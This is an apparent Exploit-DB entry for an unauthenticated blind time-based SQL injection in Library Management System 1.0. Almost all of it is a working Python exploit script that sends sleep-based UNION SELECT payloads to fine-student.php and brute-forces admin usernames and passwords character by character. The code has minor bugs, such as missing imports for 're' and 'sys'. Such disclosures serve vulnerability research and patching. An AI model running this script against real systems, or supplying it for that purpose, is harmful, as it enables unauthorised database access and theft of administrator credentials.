Library Management System 1.0 - Blind Time-Based SQL Injection (Unauthenticated)

EDB-ID:

50300

CVE:

N/A


Author:

boku

Type:

webapps


Platform:

PHP

Date:

2021-09-17


# Exploit Title: Library Management System 1.0 - Blind Time-Based SQL Injection (Unauthenticated)
# Exploit Author: Bobby Cooke (@0xBoku) & Adeeb Shah (@hyd3sec)
# Date: 16/09/2021
# Vendor Homepage: https://www.sourcecodester.com/php/12469/library-management-system-using-php-mysql.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/librarymanagement.zip
# Vendor: breakthrough2
# Tested on: Kali Linux, Apache, Mysql
# Version: v1.0
# Exploit Description:
# Library Management System v1.0 suffers from an unauthenticated SQL Injection Vulnerability allowing remote attackers to dump the SQL database using a Blind SQL Injection attack.   
# Exploitation Walkthrough: https://0xboku.com/2021/09/14/0dayappsecBeginnerGuide.html
import requests,argparse
from colorama import (Fore as F, Back as B, Style as S)

BR,FT,FR,FG,FY,FB,FM,FC,ST,SD,SB = B.RED,F.RESET,F.RED,F.GREEN,F.YELLOW,F.BLUE,F.MAGENTA,F.CYAN,S.RESET_ALL,S.DIM,S.BRIGHT
def bullet(char,color):
    C=FB if color == 'B' else FR if color == 'R' else FG
    return SB+C+'['+ST+SB+char+SB+C+']'+ST+' '
info,err,ok = bullet('-','B'),bullet('!','R'),bullet('+','G')
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
proxies         = {'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}

# POST /LibraryManagement/fine-student.php
# inject' UNION SELECT IF(SUBSTRING(password,1,1) = '1',sleep(1),null) FROM admin WHERE adminId=1; -- kamahamaha
def sqliPayload(char,position,userid,column,table):
    sqli  = 'inject\' UNION SELECT IF(SUBSTRING('
    sqli += str(column)+','
    sqli += str(position)+',1) = \''
    sqli += str(char)+'\',sleep(1),null) FROM '
    sqli += str(table)+' WHERE adminId='
    sqli += str(userid)+'; -- kamahamaha'
    return sqli

chars = [ 'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o',
          'p','q','r','s','t','u','v','w','x','y','z','A','B','C','D',
          'E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S',
          'T','U','V','W','X','Y','Z','0','1','2','3','4','5','6','7',
          '8','9','@','#']

def postRequest(URL,sqliReq,char,position,pxy):
    sqliURL = URL
    params = {"check":1,"id":sqliReq}
    if pxy:
        req = requests.post(url=sqliURL, data=params, verify=False, proxies=proxies,timeout=10)
    else:
        req = requests.post(url=sqliURL, data=params, verify=False, timeout=10)
    #print("{} : {}".format(char,req.elapsed.total_seconds()))
    return req.elapsed.total_seconds()

def theHarvester(target,CHARS,url,pxy):
    #print("Retrieving: {} {} {}".format(target['table'],target['column'],target['id']))
    position = 1
    theHarvest = ""
    while position < 8:
        for char in CHARS:
            sqliReq = sqliPayload(char,position,target['id'],target['column'],target['table'])
            if postRequest(url,sqliReq,char,position,pxy) > 1:
                theHarvest += char
                break;
        position += 1
    return theHarvest

class userObj:
    def __init__(self,username,password):
        self.username = username
        self.password = password

class tableSize:
    def __init__(self,sizeU,sizeP):
        self.sizeU = sizeU
        self.sizeP = sizeP
        self.uTitle = "Admin Usernames"+" "*(sizeU-15)+BR+" "+ST
        self.pTitle = "Admin Passwords"+" "*(sizeP-15)+BR+" "+ST
    def printHeader(self):
        width = self.sizeU+self.sizeP+3
        print(BR+" "*width+ST)
        print(self.uTitle,self.pTitle)
        print(BR+" "*width+ST)

def printTableRow(user,size):
    username = user.username
    unLen = len(username)
    if unLen < size.sizeU:
        username = username+(" "*(size.sizeU - unLen))
    else:
        name = name[:size.sizeU]
    username += BR+" "+ST
    password = user.password
    pLen = len(password)
    if pLen < size.sizeP:
        password = password+(" "*(size.sizeP - pLen))
    else:
        password = password[:size.sizeP]
    password  += BR+" "+ST
    print(username,password)


def sig():
    SIG  = SB+FY+"         .-----.._       ,--.\n"
    SIG += FY+"         |  ..    >  ___ |  | .--.\n"
    SIG += FY+"         |  |.'  ,'-'"+FR+"* *"+FY+"'-. |/  /__   __\n"
    SIG += FY+"         |      </ "+FR+"*  *  *"+FY+" \   /   \\/   \\\n"
    SIG += FY+"         |  |>   )  "+FR+" * *"+FY+"   /    \\        \\\n"
    SIG += FY+"         |____..- '-.._..-'_|\\___|._..\\___\\\n"
    SIG += FY+"             _______"+FR+"github.com/boku7"+FY+"_____\n"+ST
    return SIG

def argsetup():
    about  = SB+FT+'Unauthenticated Blind Time-Based SQL Injection Exploit - Library Manager'+ST
    parser = argparse.ArgumentParser(description=about)
    parser.add_argument('targetHost',type=str,help='The DNS routable target hostname. Example: "http://0xBoku.com"')
    parser.add_argument('DumpXAdmins',type=int,help='Number of admin credentials to dump. Example: 5')
    parser.add_argument('-p','--proxy',type=str,help='<127.0.0.1:8080> Proxy requests sent')
    args = parser.parse_args()
    if args.proxy:
        regex = '^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}:[0-9]{2,5}$'
        if re.match(regex,args.proxy,re.IGNORECASE):
            args.proxy = {'http':'http://{}'.format(args.proxy),'https':'https://{}'.format(args.proxy)}
        else:
            print('{}Error:   Supplied proxy argument {} fails to match regex {}'.format(err,args.proxy,regex))
            print('{}Example: {} -p "127.0.0.1:8080"'.format(err,sys.argv[0]))
            sys.exit(-1)
    else:
        proxy = False
    return args

if __name__ == "__main__":
    header = SB+FT+'               '+FR+' Bobby '+FR+'"'+FR+'boku'+FR+'"'+FR+' Cooke\n'+ST
    print(header)
    print(sig())
    args   = argsetup()
    host   = args.targetHost
    pxy    = args.proxy
    admins = args.DumpXAdmins
    PATH   = host+"/LibraryManagement/fine-student.php"
    size  = tableSize(20,20)
    size.printHeader()
    dumpnumber = 1
    while dumpnumber <= admins:
        adminUsername  = { "id":dumpnumber, "table":"admin", "column":"username"}
        adminUsername  = theHarvester(adminUsername,chars,PATH,pxy)
        adminPassword  = { "id":dumpnumber, "table":"admin", "column":"password"}
        adminPass = theHarvester(adminPassword,chars,PATH,pxy)
        adminUser = userObj(adminUsername,adminPass)
        printTableRow(adminUser,size)
        # print("Admin's Username is: {}".format(adminUsername))
        # print("Admin's Password is: {}".format(adminPass))
        dumpnumber += 1